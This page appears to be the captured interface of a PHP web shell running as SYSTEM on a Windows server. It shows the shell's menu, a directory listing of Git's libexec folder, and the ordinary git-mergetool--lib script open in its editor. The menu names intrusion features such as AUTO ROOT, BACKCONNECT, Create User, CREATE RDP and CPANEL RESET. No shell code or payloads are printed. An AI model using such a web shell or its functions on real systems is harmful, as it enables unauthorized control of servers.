Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
laragon /
bin /
git /
mingw64 /
libexec /
git-core /
[ HOME SHELL ]
Name
Size
Permission
Action
mergetools
[ DIR ]
drwxrwxrwx
Atlassian.Bitbucket.UI.Shared....
22.41
KB
-rw-rw-rw-
Atlassian.Bitbucket.dll
54.91
KB
-rw-rw-rw-
GitHub.UI.Shared.dll
29.41
KB
-rw-rw-rw-
GitHub.dll
83.91
KB
-rw-rw-rw-
GitLab.UI.Shared.dll
24.41
KB
-rw-rw-rw-
GitLab.dll
38.91
KB
-rw-rw-rw-
Microsoft.AzureRepos.dll
60.91
KB
-rw-rw-rw-
Microsoft.Identity.Client.Desk...
106.91
KB
-rw-rw-rw-
Microsoft.Identity.Client.Exte...
61.91
KB
-rw-rw-rw-
Microsoft.Identity.Client.dll
1.45
MB
-rw-rw-rw-
Microsoft.Web.WebView2.Core.dl...
217.91
KB
-rw-rw-rw-
Microsoft.Web.WebView2.WinForm...
32.91
KB
-rw-rw-rw-
Microsoft.Web.WebView2.Wpf.dll
36.91
KB
-rw-rw-rw-
Newtonsoft.Json.dll
685.91
KB
-rw-rw-rw-
System.Buffers.dll
21.41
KB
-rw-rw-rw-
System.CommandLine.dll
211.41
KB
-rw-rw-rw-
System.Memory.dll
138.91
KB
-rw-rw-rw-
System.Numerics.Vectors.dll
107.41
KB
-rw-rw-rw-
System.Runtime.CompilerService...
17.41
KB
-rw-rw-rw-
WebView2Loader.dll
108.92
KB
-rw-rw-rw-
edit.dll
53
KB
-rw-rw-rw-
gcmcore.dll
269.91
KB
-rw-rw-rw-
gcmcoreui.dll
23.41
KB
-rw-rw-rw-
gcmcoreuiwpf.dll
36.41
KB
-rw-rw-rw-
git-add--interactive
48.16
KB
-rw-rw-rw-
git-add.exe
44.55
KB
-rwxrwxrwx
git-am.exe
44.55
KB
-rwxrwxrwx
git-annotate.exe
44.55
KB
-rwxrwxrwx
git-apply.exe
44.55
KB
-rwxrwxrwx
git-archive.exe
44.55
KB
-rwxrwxrwx
git-bisect
2.09
KB
-rw-rw-rw-
git-bisect--helper.exe
44.55
KB
-rwxrwxrwx
git-blame.exe
44.55
KB
-rwxrwxrwx
git-branch.exe
44.55
KB
-rwxrwxrwx
git-bugreport.exe
44.55
KB
-rwxrwxrwx
git-bundle.exe
44.55
KB
-rwxrwxrwx
git-cat-file.exe
44.55
KB
-rwxrwxrwx
git-check-attr.exe
44.55
KB
-rwxrwxrwx
git-check-ignore.exe
44.55
KB
-rwxrwxrwx
git-check-mailmap.exe
44.55
KB
-rwxrwxrwx
git-check-ref-format.exe
44.55
KB
-rwxrwxrwx
git-checkout--worker.exe
44.55
KB
-rwxrwxrwx
git-checkout-index.exe
44.55
KB
-rwxrwxrwx
git-checkout.exe
44.55
KB
-rwxrwxrwx
git-cherry-pick.exe
44.55
KB
-rwxrwxrwx
git-cherry.exe
44.55
KB
-rwxrwxrwx
git-citool
687
B
-rw-rw-rw-
git-clean.exe
44.55
KB
-rwxrwxrwx
git-clone.exe
44.55
KB
-rwxrwxrwx
git-column.exe
44.55
KB
-rwxrwxrwx
git-commit-graph.exe
44.55
KB
-rwxrwxrwx
git-commit-tree.exe
44.55
KB
-rwxrwxrwx
git-commit.exe
44.55
KB
-rwxrwxrwx
git-config.exe
44.55
KB
-rwxrwxrwx
git-count-objects.exe
44.55
KB
-rwxrwxrwx
git-credential-cache--daemon.e...
44.55
KB
-rwxrwxrwx
git-credential-cache.exe
44.55
KB
-rwxrwxrwx
git-credential-store.exe
44.55
KB
-rwxrwxrwx
git-credential-wincred.exe
57.08
KB
-rwxrwxrwx
git-credential.exe
44.55
KB
-rwxrwxrwx
git-daemon.exe
2.05
MB
-rwxrwxrwx
git-describe.exe
44.55
KB
-rwxrwxrwx
git-diff-files.exe
44.55
KB
-rwxrwxrwx
git-diff-index.exe
44.55
KB
-rwxrwxrwx
git-diff-tree.exe
44.55
KB
-rwxrwxrwx
git-diff.exe
44.55
KB
-rwxrwxrwx
git-difftool--helper
2.44
KB
-rw-rw-rw-
git-difftool.exe
44.55
KB
-rwxrwxrwx
git-env--helper.exe
44.55
KB
-rwxrwxrwx
git-fast-export.exe
44.55
KB
-rwxrwxrwx
git-fast-import.exe
44.55
KB
-rwxrwxrwx
git-fetch-pack.exe
44.55
KB
-rwxrwxrwx
git-fetch.exe
44.55
KB
-rwxrwxrwx
git-filter-branch
15.49
KB
-rw-rw-rw-
git-fmt-merge-msg.exe
44.55
KB
-rwxrwxrwx
git-for-each-ref.exe
44.55
KB
-rwxrwxrwx
git-for-each-repo.exe
44.55
KB
-rwxrwxrwx
git-format-patch.exe
44.55
KB
-rwxrwxrwx
git-fsck-objects.exe
44.55
KB
-rwxrwxrwx
git-fsck.exe
44.55
KB
-rwxrwxrwx
git-fsmonitor--daemon.exe
44.55
KB
-rwxrwxrwx
git-gc.exe
44.55
KB
-rwxrwxrwx
git-get-tar-commit-id.exe
44.55
KB
-rwxrwxrwx
git-grep.exe
44.55
KB
-rwxrwxrwx
git-gui
687
B
-rw-rw-rw-
git-gui--askpass
1.8
KB
-rw-rw-rw-
git-gui--askyesno
1.57
KB
-rw-rw-rw-
git-gui.tcl
104.12
KB
-rw-rw-rw-
git-hash-object.exe
44.55
KB
-rwxrwxrwx
git-help.exe
44.55
KB
-rwxrwxrwx
git-hook.exe
44.55
KB
-rwxrwxrwx
git-http-backend.exe
2.05
MB
-rwxrwxrwx
git-http-fetch.exe
2.07
MB
-rwxrwxrwx
git-http-push.exe
2.08
MB
-rwxrwxrwx
git-imap-send.exe
2.08
MB
-rwxrwxrwx
git-index-pack.exe
44.55
KB
-rwxrwxrwx
git-init-db.exe
44.55
KB
-rwxrwxrwx
git-init.exe
44.55
KB
-rwxrwxrwx
git-instaweb
21.65
KB
-rw-rw-rw-
git-interpret-trailers.exe
44.55
KB
-rwxrwxrwx
git-log.exe
44.55
KB
-rwxrwxrwx
git-ls-files.exe
44.55
KB
-rwxrwxrwx
git-ls-remote.exe
44.55
KB
-rwxrwxrwx
git-ls-tree.exe
44.55
KB
-rwxrwxrwx
git-mailinfo.exe
44.55
KB
-rwxrwxrwx
git-mailsplit.exe
44.55
KB
-rwxrwxrwx
git-maintenance.exe
44.55
KB
-rwxrwxrwx
git-merge-base.exe
44.55
KB
-rwxrwxrwx
git-merge-file.exe
44.55
KB
-rwxrwxrwx
git-merge-index.exe
44.55
KB
-rwxrwxrwx
git-merge-octopus
2.42
KB
-rw-rw-rw-
git-merge-one-file
3.61
KB
-rw-rw-rw-
git-merge-ours.exe
44.55
KB
-rwxrwxrwx
git-merge-recursive.exe
44.55
KB
-rwxrwxrwx
git-merge-resolve
944
B
-rw-rw-rw-
git-merge-subtree.exe
44.55
KB
-rwxrwxrwx
git-merge-tree.exe
44.55
KB
-rwxrwxrwx
git-merge.exe
44.55
KB
-rwxrwxrwx
git-mergetool
11.29
KB
-rw-rw-rw-
git-mergetool--lib
9.69
KB
-rw-rw-rw-
git-mktag.exe
44.55
KB
-rwxrwxrwx
git-mktree.exe
44.55
KB
-rwxrwxrwx
git-multi-pack-index.exe
44.55
KB
-rwxrwxrwx
git-mv.exe
44.55
KB
-rwxrwxrwx
git-name-rev.exe
44.55
KB
-rwxrwxrwx
git-notes.exe
44.55
KB
-rwxrwxrwx
git-p4
168.59
KB
-rw-rw-rw-
git-pack-objects.exe
44.55
KB
-rwxrwxrwx
git-pack-redundant.exe
44.55
KB
-rwxrwxrwx
git-pack-refs.exe
44.55
KB
-rwxrwxrwx
git-patch-id.exe
44.55
KB
-rwxrwxrwx
git-prune-packed.exe
44.55
KB
-rwxrwxrwx
git-prune.exe
44.55
KB
-rwxrwxrwx
git-pull.exe
44.55
KB
-rwxrwxrwx
git-push.exe
44.55
KB
-rwxrwxrwx
git-quiltimport
3.61
KB
-rw-rw-rw-
git-range-diff.exe
44.55
KB
-rwxrwxrwx
git-read-tree.exe
44.55
KB
-rwxrwxrwx
git-rebase.exe
44.55
KB
-rwxrwxrwx
git-receive-pack.exe
44.55
KB
-rwxrwxrwx
git-reflog.exe
44.55
KB
-rwxrwxrwx
git-remote-ext.exe
44.55
KB
-rwxrwxrwx
git-remote-fd.exe
44.55
KB
-rwxrwxrwx
git-remote-ftp.exe
2.09
MB
-rwxrwxrwx
git-remote-ftps.exe
2.09
MB
-rwxrwxrwx
git-remote-http.exe
2.09
MB
-rwxrwxrwx
git-remote-https.exe
2.09
MB
-rwxrwxrwx
git-remote.exe
44.55
KB
-rwxrwxrwx
git-repack.exe
44.55
KB
-rwxrwxrwx
git-replace.exe
44.55
KB
-rwxrwxrwx
git-request-pull
4.03
KB
-rw-rw-rw-
git-rerere.exe
44.55
KB
-rwxrwxrwx
git-reset.exe
44.55
KB
-rwxrwxrwx
git-restore.exe
44.55
KB
-rwxrwxrwx
git-rev-list.exe
44.55
KB
-rwxrwxrwx
git-rev-parse.exe
44.55
KB
-rwxrwxrwx
git-revert.exe
44.55
KB
-rwxrwxrwx
git-rm.exe
44.55
KB
-rwxrwxrwx
git-send-email
62.44
KB
-rw-rw-rw-
git-send-pack.exe
44.55
KB
-rwxrwxrwx
git-sh-i18n
1.67
KB
-rw-rw-rw-
git-sh-i18n--envsubst.exe
2.04
MB
-rwxrwxrwx
git-sh-setup
8.92
KB
-rw-rw-rw-
git-shortlog.exe
44.55
KB
-rwxrwxrwx
git-show-branch.exe
44.55
KB
-rwxrwxrwx
git-show-index.exe
44.55
KB
-rwxrwxrwx
git-show-ref.exe
44.55
KB
-rwxrwxrwx
git-show.exe
44.55
KB
-rwxrwxrwx
git-sparse-checkout.exe
44.55
KB
-rwxrwxrwx
git-stage.exe
44.55
KB
-rwxrwxrwx
git-stash.exe
44.55
KB
-rwxrwxrwx
git-status.exe
44.55
KB
-rwxrwxrwx
git-stripspace.exe
44.55
KB
-rwxrwxrwx
git-submodule
11.02
KB
-rw-rw-rw-
git-submodule--helper.exe
44.55
KB
-rwxrwxrwx
git-subtree
23.01
KB
-rw-rw-rw-
git-svn
64.26
KB
-rw-rw-rw-
git-switch.exe
44.55
KB
-rwxrwxrwx
git-symbolic-ref.exe
44.55
KB
-rwxrwxrwx
git-tag.exe
44.55
KB
-rwxrwxrwx
git-unpack-file.exe
44.55
KB
-rwxrwxrwx
git-unpack-objects.exe
44.55
KB
-rwxrwxrwx
git-update
218
B
-rw-rw-rw-
git-update-index.exe
44.55
KB
-rwxrwxrwx
git-update-ref.exe
44.55
KB
-rwxrwxrwx
git-update-server-info.exe
44.55
KB
-rwxrwxrwx
git-upload-archive.exe
44.55
KB
-rwxrwxrwx
git-upload-pack.exe
44.55
KB
-rwxrwxrwx
git-var.exe
44.55
KB
-rwxrwxrwx
git-verify-commit.exe
44.55
KB
-rwxrwxrwx
git-verify-pack.exe
44.55
KB
-rwxrwxrwx
git-verify-tag.exe
44.55
KB
-rwxrwxrwx
git-web--browse
4.3
KB
-rw-rw-rw-
git-whatchanged.exe
44.55
KB
-rwxrwxrwx
git-worktree.exe
44.55
KB
-rwxrwxrwx
git-write-tree.exe
44.55
KB
-rwxrwxrwx
git.exe
3.43
MB
-rwxrwxrwx
headless-git.exe
32.05
KB
-rwxrwxrwx
libbrotlicommon.dll
140.04
KB
-rw-rw-rw-
libbrotlidec.dll
50.64
KB
-rw-rw-rw-
libbz2-1.dll
96.82
KB
-rw-rw-rw-
libcares-5.dll
122.1
KB
-rw-rw-rw-
libcrypto-1_1-x64.dll
2.67
MB
-rw-rw-rw-
libcurl-4.dll
664.15
KB
-rw-rw-rw-
libexpat-1.dll
198.82
KB
-rw-rw-rw-
libffi-8.dll
31.14
KB
-rw-rw-rw-
libgcc_s_seh-1.dll
105.17
KB
-rw-rw-rw-
libgmp-10.dll
641.51
KB
-rw-rw-rw-
libhogweed-6.dll
268.31
KB
-rw-rw-rw-
libiconv-2.dll
1.06
MB
-rw-rw-rw-
libidn2-0.dll
230.63
KB
-rw-rw-rw-
libintl-8.dll
133.52
KB
-rw-rw-rw-
libjansson-4.dll
77.08
KB
-rw-rw-rw-
libjemalloc.dll
674.46
KB
-rw-rw-rw-
liblzma-5.dll
147.65
KB
-rw-rw-rw-
libnettle-8.dll
308.12
KB
-rw-rw-rw-
libnghttp2-14.dll
185.59
KB
-rw-rw-rw-
libp11-kit-0.dll
1.03
MB
-rw-rw-rw-
libpcre-1.dll
275.09
KB
-rw-rw-rw-
libpcre2-8-0.dll
624.85
KB
-rw-rw-rw-
libpcreposix-0.dll
40.77
KB
-rw-rw-rw-
libssh2-1.dll
263.79
KB
-rw-rw-rw-
libssl-1_1-x64.dll
539.65
KB
-rw-rw-rw-
libssp-0.dll
42.41
KB
-rw-rw-rw-
libstdc++-6.dll
1.93
MB
-rw-rw-rw-
libtasn1-6.dll
101.04
KB
-rw-rw-rw-
libtre-5.dll
90.15
KB
-rw-rw-rw-
libunistring-2.dll
1.84
MB
-rw-rw-rw-
libwinpthread-1.dll
56.75
KB
-rw-rw-rw-
libxml2-2.dll
1.28
MB
-rw-rw-rw-
libzstd.dll
810.89
KB
-rw-rw-rw-
tcl86.dll
1.6
MB
-rw-rw-rw-
tk86.dll
1.44
MB
-rw-rw-rw-
zlib1.dll
116.24
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : git-mergetool--lib
# git-mergetool--lib is a shell library for common merge tool functions : ${MERGE_TOOLS_DIR=$(git --exec-path)/mergetools} IFS=' ' mode_ok () { if diff_mode then can_diff elif merge_mode then can_merge else false fi } is_available () { merge_tool_path=$(translate_merge_tool_path "$1") && type "$merge_tool_path" >/dev/null 2>&1 } list_config_tools () { section=$1 line_prefix=${2:-} git config --get-regexp $section'\..*\.cmd' | while read -r key value do toolname=${key#$section.} toolname=${toolname%.cmd} printf "%s%s\n" "$line_prefix" "$toolname" done } show_tool_names () { condition=${1:-true} per_line_prefix=${2:-} preamble=${3:-} not_found_msg=${4:-} extra_content=${5:-} shown_any= ( cd "$MERGE_TOOLS_DIR" && ls ) | { while read scriptname do setup_tool "$scriptname" 2>/dev/null # We need an actual line feed here variants="$variants $(list_tool_variants)" done variants="$(echo "$variants" | sort -u)" for toolname in $variants do if setup_tool "$toolname" 2>/dev/null && (eval "$condition" "$toolname") then if test -n "$preamble" then printf "%s\n" "$preamble" preamble= fi shown_any=yes printf "%s%-15s %s\n" "$per_line_prefix" "$toolname" $(diff_mode && diff_cmd_help "$toolname" || merge_cmd_help "$toolname") fi done if test -n "$extra_content" then if test -n "$preamble" then # Note: no '\n' here since we don't want a # blank line if there is no initial content. printf "%s" "$preamble" preamble= fi shown_any=yes printf "\n%s\n" "$extra_content" fi if test -n "$preamble" && test -n "$not_found_msg" then printf "%s\n" "$not_found_msg" fi test -n "$shown_any" } } diff_mode () { test "$TOOL_MODE" = diff } merge_mode () { test "$TOOL_MODE" = merge } gui_mode () { test "$GIT_MERGETOOL_GUI" = true } translate_merge_tool_path () { echo "$1" } check_unchanged () { if test "$MERGED" -nt "$BACKUP" then return 0 else while true do echo "$MERGED seems unchanged." printf "Was the merge successful [y/n]? " read answer || return 1 case "$answer" in y*|Y*) return 0 ;; n*|N*) return 1 ;; esac done fi } valid_tool () { setup_tool "$1" && return 0 cmd=$(get_merge_tool_cmd "$1") test -n "$cmd" } setup_user_tool () { merge_tool_cmd=$(get_merge_tool_cmd "$tool") test -n "$merge_tool_cmd" || return 1 diff_cmd () { ( eval $merge_tool_cmd ) } merge_cmd () { ( eval $merge_tool_cmd ) } list_tool_variants () { echo "$tool" } } setup_tool () { tool="$1" # Fallback definitions, to be overridden by tools. can_merge () { return 0 } can_diff () { return 0 } diff_cmd () { return 1 } diff_cmd_help () { return 0 } merge_cmd () { return 1 } merge_cmd_help () { return 0 } hide_resolved_enabled () { return 0 } translate_merge_tool_path () { echo "$1" } list_tool_variants () { echo "$tool" } # Most tools' exit codes cannot be trusted, so By default we ignore # their exit code and check the merged file's modification time in # check_unchanged() to determine whether or not the merge was # successful. The return value from run_merge_cmd, by default, is # determined by check_unchanged(). # # When a tool's exit code can be trusted then the return value from # run_merge_cmd is simply the tool's exit code, and check_unchanged() # is not called. # # The return value of exit_code_trustable() tells us whether or not we # can trust the tool's exit code. # # User-defined and built-in tools default to false. # Built-in tools advertise that their exit code is trustable by # redefining exit_code_trustable() to true. exit_code_trustable () { false } if test -f "$MERGE_TOOLS_DIR/$tool" then . "$MERGE_TOOLS_DIR/$tool" elif test -f "$MERGE_TOOLS_DIR/${tool%[0-9]}" then . "$MERGE_TOOLS_DIR/${tool%[0-9]}" else setup_user_tool return $? fi # Now let the user override the default command for the tool. If # they have not done so then this will return 1 which we ignore. setup_user_tool if ! list_tool_variants | grep -q "^$tool$" then return 1 fi if merge_mode && ! can_merge then echo "error: '$tool' can not be used to resolve merges" >&2 return 1 elif diff_mode && ! can_diff then echo "error: '$tool' can only be used to resolve merges" >&2 return 1 fi return 0 } get_merge_tool_cmd () { merge_tool="$1" if diff_mode then git config "difftool.$merge_tool.cmd" || git config "mergetool.$merge_tool.cmd" else git config "mergetool.$merge_tool.cmd" fi } trust_exit_code () { if git config --bool "mergetool.$1.trustExitCode" then :; # OK elif exit_code_trustable then echo true else echo false fi } initialize_merge_tool () { # Bring tool-specific functions into scope setup_tool "$1" || return 1 } # Entry point for running tools run_merge_tool () { # If GIT_PREFIX is empty then we cannot use it in tools # that expect to be able to chdir() to its value. GIT_PREFIX=${GIT_PREFIX:-.} export GIT_PREFIX merge_tool_path=$(get_merge_tool_path "$1") || exit base_present="$2" if merge_mode then run_merge_cmd "$1" else run_diff_cmd "$1" fi } # Run a either a configured or built-in diff tool run_diff_cmd () { diff_cmd "$1" } # Run a either a configured or built-in merge tool run_merge_cmd () { mergetool_trust_exit_code=$(trust_exit_code "$1") if test "$mergetool_trust_exit_code" = "true" then merge_cmd "$1" else touch "$BACKUP" merge_cmd "$1" check_unchanged fi } list_merge_tool_candidates () { if merge_mode then tools="tortoisemerge" else tools="kompare" fi if test -n "$DISPLAY" then if test -n "$GNOME_DESKTOP_SESSION_ID" then tools="meld opendiff kdiff3 tkdiff xxdiff $tools" else tools="opendiff kdiff3 tkdiff xxdiff meld $tools" fi tools="$tools gvimdiff diffuse diffmerge ecmerge" tools="$tools p4merge araxis bc codecompare" tools="$tools smerge" fi case "${VISUAL:-$EDITOR}" in *nvim*) tools="$tools nvimdiff vimdiff emerge" ;; *vim*) tools="$tools vimdiff nvimdiff emerge" ;; *) tools="$tools emerge vimdiff nvimdiff" ;; esac } show_tool_help () { tool_opt="'git ${TOOL_MODE}tool --tool=<tool>'" tab=' ' LF=' ' any_shown=no cmd_name=${TOOL_MODE}tool config_tools=$({ diff_mode && list_config_tools difftool "$tab$tab" list_config_tools mergetool "$tab$tab" } | sort) extra_content= if test -n "$config_tools" then extra_content="${tab}user-defined:${LF}$config_tools" fi show_tool_names 'mode_ok && is_available' "$tab$tab" \ "$tool_opt may be set to one of the following:" \ "No suitable tool for 'git $cmd_name --tool=<tool>' found." \ "$extra_content" && any_shown=yes show_tool_names 'mode_ok && ! is_available' "$tab$tab" \ "${LF}The following tools are valid, but not currently available:" && any_shown=yes if test "$any_shown" = yes then echo echo "Some of the tools listed above only work in a windowed" echo "environment. If run in a terminal-only session, they will fail." fi exit 0 } guess_merge_tool () { list_merge_tool_candidates cat >&2 <<-EOF This message is displayed because '$TOOL_MODE.tool' is not configured. See 'git ${TOOL_MODE}tool --tool-help' or 'git help config' for more details. 'git ${TOOL_MODE}tool' will now attempt to use one of the following tools: $tools EOF # Loop over each candidate and stop when a valid merge tool is found. IFS=' ' for tool in $tools do is_available "$tool" && echo "$tool" && return 0 done echo >&2 "No known ${TOOL_MODE} tool is available." return 1 } get_configured_merge_tool () { keys= if diff_mode then if gui_mode then keys="diff.guitool merge.guitool diff.tool merge.tool" else keys="diff.tool merge.tool" fi else if gui_mode then keys="merge.guitool merge.tool" else keys="merge.tool" fi fi merge_tool=$( IFS=' ' for key in $keys do selected=$(git config $key) if test -n "$selected" then echo "$selected" return fi done) if test -n "$merge_tool" && ! valid_tool "$merge_tool" then echo >&2 "git config option $TOOL_MODE.${gui_prefix}tool set to unknown tool: $merge_tool" echo >&2 "Resetting to default..." return 1 fi echo "$merge_tool" } get_merge_tool_path () { # A merge tool has been set, so verify that it's valid. merge_tool="$1" if ! valid_tool "$merge_tool" then echo >&2 "Unknown merge tool $merge_tool" exit 1 fi if diff_mode then merge_tool_path=$(git config difftool."$merge_tool".path || git config mergetool."$merge_tool".path) else merge_tool_path=$(git config mergetool."$merge_tool".path) fi if test -z "$merge_tool_path" then merge_tool_path=$(translate_merge_tool_path "$merge_tool") fi if test -z "$(get_merge_tool_cmd "$merge_tool")" && ! type "$merge_tool_path" >/dev/null 2>&1 then echo >&2 "The $TOOL_MODE tool $merge_tool is not available as"\ "'$merge_tool_path'" exit 1 fi echo "$merge_tool_path" } get_merge_tool () { is_guessed=false # Check if a merge tool has been configured merge_tool=$(get_configured_merge_tool) # Try to guess an appropriate merge tool if no tool has been set. if test -z "$merge_tool" then merge_tool=$(guess_merge_tool) || exit is_guessed=true fi echo "$merge_tool" test "$is_guessed" = false } mergetool_find_win32_cmd () { executable=$1 sub_directory=$2 # Use $executable if it exists in $PATH if type -p "$executable" >/dev/null 2>&1 then printf '%s' "$executable" return fi # Look for executable in the typical locations for directory in $(env | grep -Ei '^PROGRAM(FILES(\(X86\))?|W6432)=' | cut -d '=' -f 2- | sort -u) do if test -n "$directory" && test -x "$directory/$sub_directory/$executable" then printf '%s' "$directory/$sub_directory/$executable" return fi done printf '%s' "$executable" }
Close